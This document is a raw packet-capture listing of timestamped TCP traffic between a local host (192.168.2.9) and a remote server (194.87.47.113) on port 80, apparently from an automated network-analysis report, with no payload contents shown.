Dec 19, 2024 08:01:10.674236059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.674248934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.674267054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.674345970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.675021887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.675034046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.675045967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.675080061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.675777912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.675821066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.675831079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.675832033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.675874949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.676532030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.676636934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.676685095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.809694052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.809748888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.809762955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.809830904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.810053110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.810091972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.810096025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.810106039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.810142994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.810807943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.810842991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.810856104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.810883999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.811537981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.811583996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.811595917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.811609030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.811644077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.812333107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.812400103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.812450886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.843240023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.843260050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.843274117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.843327999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.843350887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.843394995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.843400955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.843415976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.843455076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.844243050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.844255924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.844305038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.844492912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.844506025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.844518900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.844547033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.845285892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.845299006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.845312119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.845343113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.845372915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.846090078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.846102953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.846115112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.846146107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.846806049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.846818924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.846832991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.846851110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.846868038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.847623110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.847892046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.847904921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.847930908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.847940922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.847944021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.847970009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.848680019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.848694086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.848706007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.848740101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.848778009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.849420071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.849464893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.849478006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.849510908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.850178957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.850203991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.850215912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.850230932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.850260973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.851005077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.851021051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.851033926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.851064920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.851771116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.851794958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.851808071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.851824045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.851844072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.852555990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.852570057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.852582932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.852617025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.853319883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.853333950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.853348017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.853400946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.854120016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.854131937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.854144096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.854151964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.854175091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.854854107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.854880095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.854892969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.854913950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.854932070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.855693102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.855706930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.855746031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.855792999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.856446981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.856460094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.856492043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.857156038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.857199907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.857224941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.857239008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.857250929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.857276917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.857969999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.857985020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.857996941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.858031034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.858051062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.858704090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.858753920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.858766079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.858798027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.859520912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.859534979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.859549046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.859577894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.859613895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.860361099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.860373974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.860387087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.860418081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.861071110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.861083031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.861093998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.861116886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.861143112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.864114046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.864150047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.864161015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.864196062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.864454985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.864474058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.864486933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.864500046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.864522934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.865328074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.865339994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.865350962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.865374088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.866882086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.866900921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.866914988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.866925001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.866928101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.866938114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.866950989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.866961002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.866991043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.867558956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.867587090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.867594957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.867599964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.867643118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.868412018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.868423939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.868459940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.001773119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.001800060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.001811981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.001898050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.002173901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.002187014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.002199888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.002227068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.002258062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.002934933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.002964020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.002975941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.003030062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.003750086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.003762007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.003773928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.003801107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.003839016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.004498005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.004509926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.004545927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.035387993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.035407066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.035419941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.035474062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.035695076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.035708904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.035720110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.035731077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.035757065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.036407948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.036490917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.036528111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.036883116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.036890030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.036895990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.036930084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.037662983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.037699938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.037705898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.037714958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.037761927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.038477898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.038552046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.038564920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.038589001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.039208889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.039232016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.039244890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.039251089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.039284945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.039994955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.040008068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.040019989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.040050030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.040735006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.040771961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.040780067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.040792942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.040827036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.041568995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.041589022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.041601896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.041627884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.042356014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.042370081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.042381048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.042404890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.042433977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.043140888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.043154001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.043165922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.043184042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.043939114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.043952942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.043966055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.043988943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.044003010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.044589996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.044626951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.044641972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.044667006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.045392990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.045413971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.045424938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.045435905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.045450926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.046142101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.046191931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.046205997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.046235085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.046973944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.046987057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.046999931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.047018051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.047044992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.047744989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.047758102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.047799110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.047802925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.048496962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.048532963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.048557997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.048573971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.048609018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.049318075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.049329996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.049343109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.049365044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.050061941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.050075054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.050098896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.050107956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.050138950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.050837994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.050900936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.050915003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.051084995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.051709890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.051723003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.051737070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.051748037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.051774025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.052575111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.052587986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.052599907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.052623034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.053136110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.053158998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.053168058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.053180933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.053208113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.056390047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.056402922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.056415081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.056436062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.056739092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.056751013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.056761980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.056782007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.056803942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.057452917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.057502031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.057513952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.057537079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.058273077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.058285952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.058296919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.058312893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.058326006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.059022903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.059042931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.059056044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.059089899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.059829950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.059843063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.059854031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.059871912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.059889078 CET	49739	80	192.168.2.9	194.87.47.113
